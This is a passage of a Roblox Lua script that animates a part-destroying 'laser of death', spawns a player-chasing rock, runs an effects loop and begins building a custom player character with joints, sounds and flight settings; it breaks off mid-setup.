  2150. GraphicalEffects.LASER_WIDTH = 0.15
  2151. GraphicalEffects.LASER_MAGIC_CIRCLE_DISTANCE = 6.25
  2152. GraphicalEffects.laser_data = {}
  2153. --GraphicalEffects.fragmentation = {}
  2154. function GraphicalEffects.AnimateLaserOfDeath(data)
  2155.         local frame, directionOrientation, direction, magic_circle_model, laser_part, laser_mesh, magic_circle_part, magic_circle_light,
  2156.  
  2157. magic_circle_decal_back, magic_circle_decal_front, sound, laser_scale, fragmentation_size, duration, laser_lights, laser_effects, stay, light_effects =
  2158.  
  2159. unpack(data)
  2160.         local laser_color = laser_part.Color
  2161.         frame = frame + 1
  2162.         data[1] = frame
  2163.         local transparency = (frame / duration) ^ stay
  2164.         local opacity = 1 - transparency
  2165.         if frame == 2 then
  2166.                 sound:Play()
  2167.         end
  2168.         if frame == duration then
  2169.                 pcall(Game.Destroy, magic_circle_model)
  2170.                 GraphicalEffects.laser_data[data] = nil
  2171.         else
  2172.                 if magic_circle_model.Parent ~= Workspace then
  2173.                         pcall(Utility.SetProperty, magic_circle_model, "Parent", Workspace)
  2174.                 end
  2175.                 local laser_distance = 0
  2176.                 local origin = chatAdornee.CFrame
  2177.                 if not light_effects then
  2178.                         direction = (origin * directionOrientation - origin.p).unit
  2179.                 end
  2180.                 local magic_circle_position = origin.p + direction * GraphicalEffects.LASER_MAGIC_CIRCLE_DISTANCE
  2181.                 local magic_circle_cframe = CFrame.new(magic_circle_position, magic_circle_position + direction) * CFrame.Angles(0, 0, math.tau * frame /
  2182.  
  2183. 25)
  2184.                 local loop_scale = (laser_scale - 1) / 10
  2185.                 for x_offset = -loop_scale, loop_scale, 2 do
  2186.                         for y_offset = -loop_scale, loop_scale, 2 do
  2187.                                 local origin_position = magic_circle_cframe * Vector3.new(x_offset, y_offset, 0)
  2188.                                 for index = 1, 8 do
  2189.                                         local part, position
  2190.                                         for ray_index = 1, 10 do
  2191.                                                 local ray = Ray.new(origin_position + direction * (999 * (ray_index - 1)), direction * 999)
  2192.                                                 part, position = Workspace:FindPartOnRay(ray, magic_circle_model)
  2193.                                                 if part then
  2194.                                                         break
  2195.                                                 end
  2196.                                         end
  2197.                                         if part then
  2198.                                                 laser_distance = (position - origin_position).magnitude
  2199.                                                 if frame % 8 == 1 and index == 1 then
  2200.                                                         Instance.new("Explosion", Workspace).Position = position
  2201.                                                 end
  2202.                                                 if not part:IsA("Terrain") then
  2203.                                                         pcall(part.BreakJoints, part)
  2204.                                                         local is_block = part:IsA("Part") and part.Shape == Enum.PartType.Block
  2205.                                                         local mass = part:GetMass()
  2206.                                                         local size = part.Size
  2207.                                                         if (is_block and ((size.X < fragmentation_size and size.Y < fragmentation_size and size.Z <
  2208.  
  2209. fragmentation_size) or (not part.Anchored and mass < 750))) or (not is_block and mass < 250000) then
  2210.                                                                 local part_transparency = math.max(part.Transparency + 0.007 * fragmentation_size, 0.5)
  2211.                                                                 if part_transparency >= 0.5 then -- temporarily to minimize debris
  2212.                                                                         pcall(Game.Destroy, part)
  2213.                                                                 else
  2214.                                                                         local cframe = part.CFrame
  2215.                                                                         part.Anchored = false
  2216.                                                                         part.BrickColor = BrickColor.new("Medium stone grey")
  2217.                                                                         part.CanCollide = true
  2218.                                                                         if part:IsA("FormFactorPart") then
  2219.                                                                                 part.FormFactor = "Custom"
  2220.                                                                         end
  2221.                                                                         part.Size = size - Vector3.new(0.135, 0.135, 0.135) * fragmentation_size
  2222.                                                                         part.Transparency = part_transparency
  2223.                                                                         part.CFrame = cframe + direction * 5
  2224.                                                                         part.Velocity = part.Velocity + direction * 40
  2225.                                                                 end
  2226.                                                         elseif is_block then
  2227.                                                                 local parts = {part}
  2228.                                                                 local model = Instance.new("Model", part.Parent)
  2229.                                                                 model.Name = "Fragments"
  2230.                                                                 if size.X >= fragmentation_size then
  2231.                                                                         size = Vector3.new(0.5, 1, 1) * size
  2232.                                                                         local archivable = part.Archivable
  2233.                                                                         local cframe = part.CFrame
  2234.                                                                         part.FormFactor = "Custom"
  2235.                                                                         part.Size = size
  2236.                                                                         part.Archivable = true
  2237.                                                                         local part_clone = part:Clone()
  2238.                                                                         part.Archivable = archivable
  2239.                                                                         part_clone.Archivable = archivable
  2240.                                                                         part.CFrame = cframe * CFrame.new(-0.5 * size.X, 0, 0)
  2241.                                                                         part_clone.CFrame = cframe * CFrame.new(0.5 * size.X, 0, 0)
  2242.                                                                         part_clone.Parent = model
  2243.                                                                         parts[2] = part_clone
  2244.                                                                 end
  2245.                                                                 if size.Y >= fragmentation_size then
  2246.                                                                         size = Vector3.new(1, 0.5, 1) * size
  2247.                                                                         for part_index = 1, #parts do
  2248.                                                                                 local part = parts[part_index]
  2249.                                                                                 local archivable = part.Archivable
  2250.                                                                                 local cframe = part.CFrame
  2251.                                                                                 part.FormFactor = "Custom"
  2252.                                                                                 part.Size = size
  2253.                                                                                 part.Archivable = true
  2254.                                                                                 local part_clone = part:Clone()
  2255.                                                                                 part.Archivable = archivable
  2256.                                                                                 part_clone.Archivable = archivable
  2257.                                                                                 part.CFrame = cframe * CFrame.new(0, -0.5 * size.Y, 0)
  2258.                                                                                 part_clone.CFrame = cframe * CFrame.new(0, 0.5 * size.Y, 0)
  2259.                                                                                 part_clone.Parent = model
  2260.                                                                                 table.insert(parts, part_clone)
  2261.                                                                         end
  2262.                                                                 end
  2263.                                                                 if size.Z >= fragmentation_size then
  2264.                                                                         size = Vector3.new(1, 1, 0.5) * size
  2265.                                                                         for part_index = 1, #parts do
  2266.                                                                                 local part = parts[part_index]
  2267.                                                                                 local archivable = part.Archivable
  2268.                                                                                 local cframe = part.CFrame
  2269.                                                                                 part.FormFactor = "Custom"
  2270.                                                                                 part.Size = size
  2271.                                                                                 part.Archivable = true
  2272.                                                                                 local part_clone = part:Clone()
  2273.                                                                                 part.Archivable = archivable
  2274.                                                                                 part_clone.Archivable = archivable
  2275.                                                                                 part.CFrame = cframe * CFrame.new(0, 0, -0.5 * size.Z)
  2276.                                                                                 part_clone.CFrame = cframe * CFrame.new(0, 0, 0.5 * size.Z)
  2277.                                                                                 part_clone.Parent = model
  2278.                                                                                 table.insert(parts, part_clone)
  2279.                                                                         end
  2280.                                                                 end
  2281.                                                                 for _, part in ipairs(parts) do
  2282.                                                                         part:MakeJoints()
  2283.                                                                 end
  2284.                                                         else
  2285.                                                                 break
  2286.                                                         end
  2287.                                                 end
  2288.                                         else
  2289.                                                 laser_distance = 9990
  2290.                                                 break
  2291.                                         end
  2292.                                 end
  2293.                         end
  2294.                 end
  2295.                 local laser_cframe = magic_circle_cframe * CFrame.Angles(-0.5 * math.pi, 0, 0)
  2296.                 local laser_width = GraphicalEffects.LASER_WIDTH * opacity * laser_scale
  2297.                 local laser_mesh_offset = Vector3.new(0, 0.5 * laser_distance, 0)      
  2298.                 laser_part.CFrame = laser_cframe
  2299.                 if laser_effects then
  2300.                         local laser_effect_data_1, laser_effect_data_2 = laser_effects[1], laser_effects[2]
  2301.                         local laser_effect_1, laser_effect_mesh_1 = laser_effect_data_1[1], laser_effect_data_1[2]
  2302.                         local laser_effect_2, laser_effect_mesh_2 = laser_effect_data_2[1], laser_effect_data_2[2]
  2303.                         laser_effect_1.CFrame = laser_cframe
  2304.                         laser_effect_2.CFrame = laser_cframe
  2305.                         laser_effect_mesh_1.Offset = laser_mesh_offset
  2306.                         laser_effect_mesh_2.Offset = laser_mesh_offset
  2307.                         local game_time = time()
  2308.                         local effect_scale_1 = 0.5 + 0.5 * math.sin(16 * math.pi * game_time)
  2309.                         local effect_scale_2 = 0.5 + 0.5 * math.cos(16 * math.pi * game_time)
  2310.                         laser_effect_mesh_1.Scale = 5 * Vector3.new(laser_width * effect_scale_1, laser_distance, laser_width * effect_scale_1)
  2311.                         laser_effect_mesh_2.Scale = 5 * Vector3.new(laser_width * effect_scale_2, laser_distance, laser_width * effect_scale_2)
  2312.                         laser_width = laser_width * 0.25
  2313.                 end
  2314.                 laser_mesh.Offset = laser_mesh_offset                  
  2315.                 laser_mesh.Scale = 5 * Vector3.new(laser_width, laser_distance, laser_width)
  2316.                 magic_circle_part.CFrame = magic_circle_cframe
  2317.                 magic_circle_light.Brightness = opacity
  2318.                 magic_circle_decal_back.Transparency = transparency
  2319.                 magic_circle_decal_front.Transparency = transparency
  2320.                 if light_effects then
  2321.                         for index, data in ipairs(laser_lights) do
  2322.                                 local laser_spotlight_part, laser_spotlight = data[1], data[2]
  2323.                                 local laser_spotlight_offset = 30 * (index - 1)
  2324.                                 if laser_spotlight_offset <= laser_distance then
  2325.                                         laser_spotlight_part.CFrame = magic_circle_cframe * CFrame.new(0, 0, -laser_spotlight_offset)
  2326.                                         laser_spotlight.Brightness = opacity
  2327.                                         laser_spotlight.Enabled = true
  2328.                                 else
  2329.                                         laser_spotlight.Enabled = false
  2330.                                 end
  2331.                         end
  2332.                 end
  2333.         end
  2334. end
  2335. function GraphicalEffects.ShootLaserOfDeath(target, data)
  2336.         if chatAdornee then
  2337.                 data = data or {}
  2338.                 local brickcolor = data.brickcolor or BrickColor.new("Really black")
  2339.                 local duration = data.duration or 40
  2340.                 local fragmentation_size = data.fragmentation_size or 3
  2341.                 local laser_scale = data.laser_scale or 1
  2342.                 local light_color = data.light_color or Color3.new(1, 0.5, 1)
  2343.                 local magic_circle_image = data.magic_circle_image or "rbxassetid://122610943"
  2344.                 local magic_circle_scale = data.magic_circle_scale or 1
  2345.                 local sound_volume = data.sound_volume or 1 / 3
  2346.                 local special_effects = data.special_effects
  2347.                 local stay = data.stay or 4
  2348.                 local origin = chatAdornee.CFrame
  2349.                 local directionOrientation = origin:pointToObjectSpace(target)
  2350.                 local direction = (target - origin.p).unit
  2351.                 local magic_circle_position = origin.p + direction * GraphicalEffects.LASER_MAGIC_CIRCLE_DISTANCE
  2352.                 local magic_circle_cframe = CFrame.new(magic_circle_position, magic_circle_position + direction)
  2353.                 local magic_circle_model = Instance.new("Model")
  2354.                 local laser_part = Instance.new("Part", magic_circle_model)
  2355.                 local laser_mesh = Instance.new("CylinderMesh", laser_part)
  2356.                 local magic_circle_part = Instance.new("Part", magic_circle_model)
  2357.                 local magic_circle_mesh = Instance.new("BlockMesh", magic_circle_part)
  2358.                 local magic_circle_light = Instance.new("PointLight", magic_circle_part)
  2359.                 local magic_circle_decal_back = Instance.new("Decal", magic_circle_part)
  2360.                 local magic_circle_decal_front = Instance.new("Decal", magic_circle_part)
  2361.                 local sound = Instance.new("Sound", magic_circle_part)
  2362.                 sound.Pitch = 1.25
  2363.                 sound.SoundId = "rbxassetid://2248511"
  2364.                 sound.Volume = sound_volume
  2365.                 magic_circle_model.Archivable = false
  2366.                 laser_part.Anchored = true
  2367.                 laser_part.BottomSurface = "Smooth"
  2368.                 laser_part.BrickColor = brickcolor
  2369.                 laser_part.CanCollide = false
  2370.                 laser_part.CFrame = magic_circle_cframe * CFrame.Angles(-0.5 * math.pi, 0, 0)
  2371.                 laser_part.FormFactor = "Custom"
  2372.                 laser_part.Locked = true
  2373.                 laser_part.Size = Vector3.new(0.2, 0.2, 0.2)
  2374.                 laser_part.TopSurface = "Smooth"
  2375.                 laser_mesh.Offset = Vector3.new(0, 0, 0)
  2376.                 laser_mesh.Name = "Mesh"
  2377.                 laser_mesh.Scale = 5 * laser_scale * Vector3.new(GraphicalEffects.LASER_WIDTH, 0, GraphicalEffects.LASER_WIDTH)
  2378.                 magic_circle_part.Anchored = true
  2379.                 magic_circle_part.BottomSurface = "Smooth"
  2380.                 magic_circle_part.CanCollide = false
  2381.                 magic_circle_part.CFrame = magic_circle_cframe
  2382.                 magic_circle_part.FormFactor = "Custom"
  2383.                 magic_circle_part.Locked = true
  2384.                 magic_circle_part.Size = Vector3.new(0.2, 0.2, 0.2)
  2385.                 magic_circle_part.TopSurface = "Smooth"
  2386.                 magic_circle_part.Transparency = 1
  2387.                 magic_circle_mesh.Scale = Vector3.new(60, 60, 0) * magic_circle_scale
  2388.                 magic_circle_light.Color = light_color
  2389.                 magic_circle_light.Range = 16 * magic_circle_scale
  2390.                 magic_circle_light.Shadows = true
  2391.                 magic_circle_decal_back.Face = "Back"
  2392.                 magic_circle_decal_back.Texture = magic_circle_image
  2393.                 magic_circle_decal_front.Face = "Front"
  2394.                 magic_circle_decal_front.Texture = magic_circle_image
  2395.                 magic_circle_model.Parent = Workspace
  2396.                 local laser_color = brickcolor.Color
  2397.                 local laser_lights = {}
  2398.                 local light_effects = laser_color.r + laser_color.g + laser_color.b > 0.25
  2399.                 if light_effects then
  2400.                         local laser_spotlight_part_template = Instance.new("Part")
  2401.                         local laser_spotlight_light_template = Instance.new("SpotLight", laser_spotlight_part_template)
  2402.                         laser_spotlight_part_template.Anchored = true
  2403.                         laser_spotlight_part_template.Anchored = true
  2404.                         laser_spotlight_part_template.BottomSurface = "Smooth"
  2405.                         laser_spotlight_part_template.CanCollide = false
  2406.                         laser_spotlight_part_template.FormFactor = "Custom"
  2407.                         laser_spotlight_part_template.Locked = true
  2408.                         laser_spotlight_part_template.Size = Vector3.new(0.2, 0.2, 0.2)
  2409.                         laser_spotlight_part_template.TopSurface = "Smooth"
  2410.                         laser_spotlight_part_template.Transparency = 1
  2411.                         laser_spotlight_light_template.Angle = 45
  2412.                         laser_spotlight_light_template.Color = laser_color
  2413.                         laser_spotlight_light_template.Enabled = true
  2414.                         laser_spotlight_light_template.Name = "Light"
  2415.                         laser_spotlight_light_template.Range = 60
  2416.                         for index = 1, 40 do
  2417.                                 local laser_spotlight_part = laser_spotlight_part_template:Clone()
  2418.                                 laser_spotlight_part.CFrame = magic_circle_cframe * CFrame.new(0, 0, -30 * (index - 1))
  2419.                                 laser_spotlight_part.Parent = magic_circle_model
  2420.                                 laser_lights[index] = {laser_spotlight_part, laser_spotlight_part.Light}
  2421.                         end
  2422.                 end
  2423.                 local laser_effects
  2424.                 if special_effects then
  2425.                         laser_effects = {}
  2426.                         local laser_effect_1 = laser_part:Clone()
  2427.                         laser_effect_1.BrickColor = special_effects
  2428.                         laser_effect_1.Transparency = 0.5
  2429.                         local laser_effect_2 = laser_effect_1:Clone()
  2430.                         laser_effects[1], laser_effects[2] = {laser_effect_1, laser_effect_1.Mesh}, {laser_effect_2, laser_effect_2.Mesh}
  2431.                         laser_effect_1.Parent = magic_circle_model
  2432.                         laser_effect_2.Parent = magic_circle_model
  2433.                 end
  2434.                 GraphicalEffects.laser_data[{0, directionOrientation, direction, magic_circle_model, laser_part, laser_mesh, magic_circle_part,
  2435.  
  2436. magic_circle_light, magic_circle_decal_back, magic_circle_decal_front, sound, laser_scale, fragmentation_size, duration, laser_lights, laser_effects, stay,
  2437.  
  2438. light_effects}] = true
  2439.         end
  2440. end
  2441.  
  2442. function GraphicalEffects.SpawnSapientRock(position)
  2443.     local part = Instance.new("Part", Workspace)
  2444.     local size = 8 + math.random(0, 5)
  2445.     part.BottomSurface = "Smooth"
  2446.     part.TopSurface = "Smooth"
  2447.     part.Material = "Slate"
  2448.     part.Locked = true
  2449.     part.Shape = "Ball"
  2450.     part.FormFactor = "Custom"
  2451.     part.Size = Vector3.new(size, size, size)
  2452.     part.Position = position
  2453.     local bodypos = Instance.new("BodyPosition", part)
  2454.     bodypos.maxForce = Vector3.new(0, 0, 0)
  2455.     local angry = false
  2456.     local damage_ready = true
  2457.     local torso_following
  2458.     local torso_changed = -1000
  2459.     local touched_conn = part.Touched:connect(function(hit)
  2460.         local character = hit.Parent
  2461.         if character then
  2462.             local humanoid
  2463.             for _, child in ipairs(character:GetChildren()) do
  2464.                 if child:IsA("Humanoid") then
  2465.                     humanoid = child
  2466.                     break
  2467.                 end
  2468.             end
  2469.             if humanoid then
  2470.                 if angry then
  2471.                     if damage_ready then
  2472.                         damage_ready = false
  2473.                         humanoid:TakeDamage(100)
  2474.                         wait(1)
  2475.                         damage_ready = true
  2476.                         angry = false
  2477.                         part.BrickColor = BrickColor.new("Medium stone grey")
  2478.                     end
  2479.                 else
  2480.                     local torso = humanoid.Torso
  2481.                     if torso then
  2482.                         torso_following = torso
  2483.                         torso_changed = tick()
  2484.                     end
  2485.                 end
  2486.             end
  2487.         end
  2488.     end)
  2489.     TaskScheduler.Start(function()
  2490.         while part.Parent == Workspace do
  2491.             if torso_following then
  2492.                 bodypos.position = torso_following.Position
  2493.                 if tick() - torso_changed > 60 or not torso_following.Parent then
  2494.                     torso_following = nil
  2495.                     bodypos.maxForce = Vector3.new(0, 0, 0)
  2496.                     angry = false
  2497.                     part.BrickColor = BrickColor.new("Medium stone grey")
  2498.                 else
  2499.                     local speed = angry and Vector3.new(16, 16, 16) or Vector3.new(6, 0, 6)
  2500.                     bodypos.maxForce = part:GetMass() * speed
  2501.                     if part.Position.Y < -250 then
  2502.                         part.Velocity = Vector3.new()
  2503.                         part.Position = torso_following.Position + Vector3.new(0, 80, 0)
  2504.                         part.BrickColor = BrickColor.new("Bright red")
  2505.                         angry = true
  2506.                         torso_changed = tick()
  2507.                     end
  2508.                 end
  2509.             end
  2510.             RunService.Stepped:wait()
  2511.         end
  2512.         touched_conn:disconnect()
  2513.     end)
  2514.     TaskScheduler.Start(function()
  2515.         while part.Parent == Workspace do
  2516.             wait(25 + math.random() * 10)
  2517.             local next_size = 8 + math.random() * 5
  2518.             if math.random(100) == 1 then
  2519.                 next_size = next_size * (2 + 6 * math.random())
  2520.             end
  2521.             next_size = math.floor(next_size + 0.5)
  2522.             local start_time = tick()
  2523.             local mesh = Instance.new("SpecialMesh", part)
  2524.             mesh.MeshType = "Sphere"
  2525.             repeat
  2526.                 local elapsed_time = tick() - start_time
  2527.                 local alpha = math.cos(elapsed_time * math.pi * 0.5)
  2528.                 local interpolated_size = size * alpha + next_size * (1 - alpha)
  2529.                 local size_vector = Vector3.new(interpolated_size, interpolated_size, interpolated_size)
  2530.                 local cframe = part.CFrame
  2531.                 part.Size = size_vector
  2532.                 part.CFrame = cframe
  2533.                 mesh.Scale = size_vector / part.Size
  2534.                 RunService.Stepped:wait()
  2535.             until tick() - start_time >= 1
  2536.             mesh:Destroy()
  2537.             local cframe = part.CFrame
  2538.             part.Size = Vector3.new(next_size, next_size, next_size)
  2539.             part.CFrame = cframe
  2540.             size = next_size
  2541.         end
  2542.     end)
  2543. end
  2544.  
  2545. function GraphicalEffects.MainLoop()
  2546.         RunService.Stepped:wait()
  2547.         for data in pairs(GraphicalEffects.magicCircleData) do
  2548.                 GraphicalEffects.AnimateMagicCircle(data)
  2549.         end
  2550.         for data in pairs(GraphicalEffects.laser_data) do
  2551.                 GraphicalEffects.AnimateLaserOfDeath(data)
  2552.         end
  2553.         for data in pairs(GraphicalEffects.missileData) do
  2554.                 GraphicalEffects.AnimateMissile(data)
  2555.         end
  2556. end
  2557. TaskScheduler.Start(function()
  2558.         while true do
  2559.                 GraphicalEffects.MainLoop()
  2560.         end
  2561. end)
  2562.  
  2563. PlayerControl = {};
  2564.  
  2565. PlayerControl.fly_acceleration = 10
  2566. PlayerControl.fly_basespeed = 250
  2567. PlayerControl.fly_speed = PlayerControl.fly_basespeed
  2568. PlayerControl.featherfallEnabled = true
  2569. PlayerControl.pushable = false
  2570. PlayerControl.rolling = false
  2571. PlayerControl.rollingAngle = 0
  2572. PlayerControl.rollingOffset = 0
  2573. PlayerControl.rollingMaxOffset = 3
  2574. PlayerControl.rollingSpeed = 1 / 50
  2575. PlayerControl.characterEnabled = false
  2576. PlayerControl.characterMode = "normal"
  2577. local character = nil
  2578. local flying, flyingMomentum, flyingTilt = false, Vector3.new(), 0
  2579. local pose, regeneratingHealth, jumpDebounce = "Standing", false, false
  2580. -- TODO: make local variables public
  2581. local model, bodyColors, leftArmMesh, leftLegMesh, rightArmMesh, rightLegMesh, torsoMesh, wildcardHat, wildcardHandle, wildcardMesh, pants, shirt, humanoid,
  2582.  
  2583. head, leftArm, leftLeg, rightArm, rightLeg, torso, rootPart, rootJoint, face, soundFreeFalling, soundGettingUp, soundRunning, leftHip, leftShoulder,
  2584.  
  2585. rightHip, rightShoulder, neck, wildcardWeld, feetPart, feetWeld, feetTouchInterest, bodyGyro, bodyVelocity, headMesh, torsoLight
  2586. local AnimateCharacter
  2587. local UserInterface = game:service'UserInputService'
  2588. local chatBubbles = {}
  2589. local chatCharacterLimit = 240
  2590. function PlayerControl.CreateCharacter()
  2591.     local characterMode = PlayerControl.characterMode
  2592.     if characterMode == "normal" then
  2593.         if not PlayerControl.characterEnabled then
  2594.             return
  2595.         end
  2596.         local appearance = CharacterAppearance.GetDefaultAppearance()
  2597.         local active = true
  2598.         local torsoCFrame = (torso and torso.CFrame) or PlayerControl.torso_cframe or CFrame.new(0, 10, 0)
  2599.         if torsoCFrame.p.Y < -450 then
  2600.             torsoCFrame = CFrame.new(0, 10, 0)
  2601.         end
  2602.         local rootPartCFrame = (rootPart and rootPart.CFrame) or PlayerControl.torso_cframe or CFrame.new(0, 10, 0)
  2603.         if rootPartCFrame.p.Y < -450 then
  2604.             rootPartCFrame = CFrame.new(0, 10, 0)
  2605.         end
  2606.         local cameraCFrame = Camera.CoordinateFrame
  2607.         local connections = {}
  2608.         local feetTouching = {}
  2609.         local previousWalkSpeed = 0
  2610.         local prevLeftHip, prevLeftShoulder, prevRightHip, prevRightShoulder = leftHip, leftShoulder, rightHip, rightShoulder
  2611.         model = Instance.new("Model")
  2612.         humanoid = Instance.new("Humanoid", model)
  2613.         head = Instance.new("Part", model)
  2614.         leftArm = Instance.new("Part", model)
  2615.         leftLeg = Instance.new("Part", model)
  2616.         rightArm = Instance.new("Part", model)
  2617.         rightLeg = Instance.new("Part", model)
  2618.         torso = Instance.new("Part", model)
  2619.         rootPart = Instance.new("Part", model)
  2620.         soundFallingDown = Instance.new("Sound", head)
  2621.         soundFreeFalling = Instance.new("Sound", head)
  2622.         soundGettingUp = Instance.new("Sound", head)
  2623.         soundJumping = Instance.new("Sound", head)
  2624.         soundRunning = Instance.new("Sound", head)
  2625.         leftHip = Instance.new("Motor", torso)
  2626.         leftShoulder = Instance.new("Motor", torso)
  2627.         rightHip = Instance.new("Motor", torso)
  2628.         rightShoulder = Instance.new("Motor", torso)
  2629.         neck = Instance.new("Motor", torso)
  2630.         rootJoint = Instance.new("Motor", rootPart)
  2631.         feetPart = Instance.new("Part", model)
  2632.         feetWeld = Instance.new("Weld", torso)
  2633.         bodyGyro = Instance.new("BodyGyro", rootPart)
  2634.         bodyVelocity = Instance.new("BodyVelocity", rootPart)
  2635.         model.Archivable = false
  2636.         model.Name = user_name or Player.Name
  2637.         model.PrimaryPart = head
  2638.         humanoid.LeftLeg = leftLeg
  2639.         humanoid.RightLeg = rightLeg
  2640.         humanoid.Torso = rootPart
  2641.         head.CFrame = torsoCFrame * CFrame.new(0, 1.5, 0)
  2642.         head.FormFactor = "Symmetric"
  2643.         head.Locked = true
  2644.         head.Name = "Head"
  2645.         head.Size = Vector3.new(2, 1, 1)
  2646.         head.TopSurface = "Smooth"
  2647.         leftArm.CanCollide = false
  2648.         leftArm.CFrame = torsoCFrame * CFrame.new(-1.5, 0, 0)
  2649.         leftArm.FormFactor = "Symmetric"
  2650.         leftArm.Locked = true
  2651.         leftArm.Name = "Left Arm"
  2652.         leftArm.Size = Vector3.new(1, 2, 1)
  2653.         leftLeg.BottomSurface = "Smooth"
  2654.         leftLeg.CanCollide = false
  2655.         leftLeg.CFrame = torsoCFrame * CFrame.new(-0.5, -2, 0)
  2656.         leftLeg.FormFactor = "Symmetric"
  2657.         leftLeg.Locked = true
  2658.         leftLeg.Name = "Left Leg"
  2659.         leftLeg.Size = Vector3.new(1, 2, 1)
  2660.         leftLeg.TopSurface = "Smooth"
  2661.         rightArm.CanCollide = false
  2662.         rightArm.CFrame = torsoCFrame * CFrame.new(1.5, 0, 0)
  2663.         rightArm.FormFactor = "Symmetric"
  2664.         rightArm.Locked = true
  2665.         rightArm.Name = "Right Arm"
  2666.         rightArm.Size = Vector3.new(1, 2, 1)
  2667.         rightLeg.BottomSurface = "Smooth"
  2668.         rightLeg.CanCollide = false
  2669.         rightLeg.CFrame = torsoCFrame * CFrame.new(0.5, -2, 0)
  2670.         rightLeg.FormFactor = "Symmetric"
  2671.         rightLeg.Locked = true
  2672.         rightLeg.Name = "Right Leg"
  2673.         rightLeg.Size = Vector3.new(1, 2, 1)
  2674.         rightLeg.TopSurface = "Smooth"
  2675.         torso.CFrame = torsoCFrame
  2676.         torso.FormFactor = "Symmetric"
  2677.         torso.LeftSurface = "Weld"
  2678.         torso.Locked = true
  2679.         torso.RightSurface = "Weld"
  2680.         torso.Name = "Torso"
  2681.         torso.Size = Vector3.new(2, 2, 1)
  2682.         rootPart.BottomSurface = "Smooth"
  2683.         rootPart.BrickColor = BrickColor.Blue()
  2684.         rootPart.CFrame = rootPartCFrame
  2685.         rootPart.FormFactor = "Symmetric"
  2686.         rootPart.LeftSurface = "Weld"
  2687.         rootPart.Locked = true
  2688.         rootPart.RightSurface = "Weld"
  2689.         rootPart.Name = "HumanoidRootPart"
  2690.         rootPart.Size = Vector3.new(2, 2, 1)
  2691.         rootPart.TopSurface = "Smooth"
  2692.         rootPart.Transparency = 1
  2693.         soundFreeFalling.Archivable = false
  2694.         soundFreeFalling.SoundId = "rbxasset://sounds/swoosh.wav"
  2695.         soundGettingUp.Archivable = false
  2696.         soundGettingUp.SoundId = "rbxasset://sounds/hit.wav"
  2697.         soundRunning.Archivable = false
  2698.         soundRunning.SoundId = "rbxasset://sounds/bfsl-minifigfoots1.mp3"
  2699.         soundRunning.Looped = true
  2700.         leftHip.C0 = CFrame.new(-1, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  2701.         leftHip.C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  2702.         leftHip.MaxVelocity = 0.1
  2703.         leftHip.Name = "Left Hip"
  2704.         leftHip.Part0 = torso
  2705.         leftHip.Part1 = leftLeg
  2706.         leftShoulder.C0 = CFrame.new(-1, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  2707.         leftShoulder.C1 = CFrame.new(0.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  2708.         leftShoulder.MaxVelocity = 0.15
  2709.         leftShoulder.Name = "Left Shoulder"
  2710.         leftShoulder.Part0 = torso
  2711.         leftShoulder.Part1 = leftArm
  2712.         rightHip.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  2713.         rightHip.C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  2714.         rightHip.MaxVelocity = 0.1
  2715.         rightHip.Name = "Right Hip"
  2716.         rightHip.Part0 = torso
  2717.         rightHip.Part1 = rightLeg
  2718.         rightShoulder.C0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  2719.         rightShoulder.C1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  2720.         rightShoulder.MaxVelocity = 0.15
  2721.         rightShoulder.Name = "Right Shoulder"
  2722.         rightShoulder.Part0 = torso
  2723.         rightShoulder.Part1 = rightArm
  2724.         if prevLeftHip then
  2725.             leftHip.CurrentAngle = prevLeftHip.CurrentAngle
  2726.             leftHip.DesiredAngle = prevLeftHip.DesiredAngle
  2727.         end
  2728.         if prevLeftShoulder then
  2729.             leftShoulder.CurrentAngle = prevLeftShoulder.CurrentAngle
  2730.             leftShoulder.DesiredAngle = prevLeftShoulder.DesiredAngle
  2731.         end
  2732.         if prevRightHip then
  2733.             rightHip.CurrentAngle = prevRightHip.CurrentAngle
  2734.             rightHip.DesiredAngle = prevRightHip.DesiredAngle
  2735.         end
  2736.         if prevRightShoulder then
  2737.             rightShoulder.CurrentAngle = prevRightShoulder.CurrentAngle
  2738.             rightShoulder.DesiredAngle = prevRightShoulder.DesiredAngle
  2739.         end
  2740.         neck.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  2741.         neck.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  2742.         neck.Name = "Neck"
  2743.         neck.Part0 = torso
  2744.         neck.Part1 = head
  2745.         rootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  2746.         rootJoint.C1 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  2747.         rootJoint.Name = "RootJoint"
  2748.         rootJoint.Part0 = rootPart
  2749.         rootJoint.Part1 = torso
  2750.         feetPart.BottomSurface = "Smooth"
  2751.         feetPart.CanCollide = false
  2752.         feetPart.CFrame = torsoCFrame * CFrame.new(0, -3.1, 0)
  2753.         feetPart.FormFactor = "Custom"
  2754.         feetPart.Locked = true
  2755.         feetPart.Name = "Platform"
  2756.         feetPart.Size = Vector3.new(1.8, 0.2, 0.8)
  2757.         feetPart.TopSurface = "Smooth"
  2758.         feetPart.Transparency = 1
  2759.         feetWeld.C0 = CFrame.new(0, -3, 0)
  2760.         feetWeld.C1 = CFrame.new(0, 0.1, 0)
  2761.         feetWeld.Name = "PlatformWeld"
  2762.         feetWeld.Part0 = torso
  2763.         feetWeld.Part1 = feetPart
  2764.         table.insert(connections, feetPart.Touched:connect(function(hit)
  2765.             feetTouching[hit] = true
  2766.         end))
  2767.         table.insert(connections, feetPart.TouchEnded:connect(function(hit)
  2768.             feetTouching[hit] = nil
  2769.         end))
  2770.         feetTouchInterest = feetPart:FindFirstChild("TouchInterest")
  2771.         bodyGyro.D = 3250
  2772.         bodyGyro.P = 400000
  2773.         bodyGyro.maxTorque = Vector3.new(1000000000, 0, 1000000000)
  2774.         bodyVelocity.P = 5000
